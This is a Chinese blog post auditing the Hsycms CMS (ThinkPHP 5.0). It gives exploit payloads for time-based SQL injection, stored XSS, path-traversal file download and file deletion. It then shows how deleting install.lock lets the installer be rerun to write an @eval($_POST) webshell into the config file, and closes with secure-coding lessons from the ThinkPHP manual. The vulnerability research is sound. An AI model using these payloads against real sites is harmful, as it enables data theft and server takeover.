前言
最近幾天在入門ThinkPHP5.1,然後隨緣找了一個CMS 來練練手。於是找到了Hsycms,發現是基於ThinkPHP5.0開發的,問題不大,說不定有其他收穫。但說起HSY,就不得不說到CTF男子天團K&K……
SQL注入審計過程首先看index模組裡面的公共函式,發現prevNext函式裡面where方法查詢的條件是字串,並且裡面有變數。
全域性搜一下發現app\\index\\controller\\Show.php裡面的index方法呼叫了這個函式。
反向跟一下發現變數id是可控的,於是可以造成了SQL注入。
漏洞利用首先看一下路由
查進資料庫查一下entitle
構造payload:/news/151) and if(#inject#,sleep(1),1) and ( 1=1
小結在where方法使用字串條件時,若條件裡面有可控變數應該配合預處理機制確保更加安全。
字串條件使用字串條件直接查詢和操作,例如:Db::table('think_user')->where('type=1 AND status=1')->select();最後生成的SQL語句是SELECT * FROM think_user WHERE type=1 AND status=1使用字串條件的時候,建議配合預處理機制,確保更加安全,例如:Db::table('think_user')->where("id=:id and username=:name")->bind(['id'=>[1,\\PDO::PARAM_INT],'name'=>'thinkphp'])->select();via:ThinkPHP5.0完全開發手冊
XSS審計過程在app/index/controller/Show.php中的sendemail方法。
這裡接收POST的資料就直接新增進資料庫。
在後臺app/hsycms/controller/Site.php這個控制器中,是直接取出然後模板賦值。
模板:app/hsycms/view/site/book.html
可以無論是控制器或是模板檔案都沒有對的資料進行過濾,這裡就可以造成XSS。
後臺觸發
小結模板的變數輸出中,ThinkPHP5.0與5.1處理的方法不一樣。
在ThinkPHP5.0,對模板變數是直接輸出。在ThinkPHP5.1,使用htmlentities函式對模板變數處理後輸出。變數輸出在模板中使用:Hello,{$name}!模板編譯後的結果就是:Hello,<?php echo($name);?>!
via:ThinkPHP5.0完全開發手冊
變數輸出在模板中使用:Hello,{$name}!模板編譯後的結果就是:Hello,<?php echo htmlentities($name);?>!via:ThinkPHP5.1完全開發手冊
任意檔案下載(後臺)審計過程在app/hsycms/controller/Database.php中downloadsql方法。
這裡沒有對傳遞過去的name引數的資料進行過濾,可以造成任意檔案下載。
漏洞利用構造payload:
/index.php/hsycms/database/downloadsql/?name=/../../app/config.php
任意檔案刪除(後臺)+ 寫配置檔案Getshell任意檔案刪除(後臺)審計過程在app/hsycms/controller/Database.php中delsql方法。
這裡沒有對傳遞過去的name引數的資料進行過濾,可以造成任意檔案刪除。
漏洞利用構造payload:/index.php/hsycms/database/delsql/?name=../../app/install/data/install.lock
寫配置檔案Getshell審計過程
app/install/controller/Index.php中,首先是config方法,對傳進去的db陣列寫進了session。之後是進入了sql方法。在sql方法中,session中的'db_config賦值dbconfig變數,然後傳進了write_config函式,跟進app/install/common.php,可以看到只是對配置模板做簡單的替換,於是造成寫配置檔案Getshell
漏洞利用順利Getshell在資料庫名稱這裡構造一句話進行寫shell。
道路通常是曲折的在最初審計時,不由自主地在資料表字首這裡構造一句話寫shell,於是就差點寫shel失敗。仔細看了看發現如果要寫入配置成功,那在write_config()之前是不能報錯的。
而如果想在資料表字首這裡構造一句話寫shell,經過測試發現,在執行到register_administrator(),如果不結合這裡的SQL語句進構造,在執行時會報錯。
進庫的時候是這樣的
update `sy_',@eval($_POST['p']),#user` set password='21232f297a57a5a743894a0e4a801fc3' where username='admin'奈何技術尚淺,嘗試一段時間後發現可以構造以下payload。
進庫的時候是這樣的
update `sy_user` set password=1 or '.@eval($_POST["q"]).'#user` set password='21232f297a57a5a743894a0e4a801fc3' where username='admin'成功Getshell
總結由於是第一次審計MVC框架開發的CMS就寫得有點詳細(luosuo),若有錯誤之處,還請各位師傅斧正。經過這次審計練習後,收穫還是挺多的。
在使用where方法對資料庫查詢是,使用字串條件是直接拼接SQL語句的。ThinkPHP5.0在模板的變數輸出中是直接輸出,而在ThinkPHP5.1中是會經過htmlentities函式對模板變數處理後輸出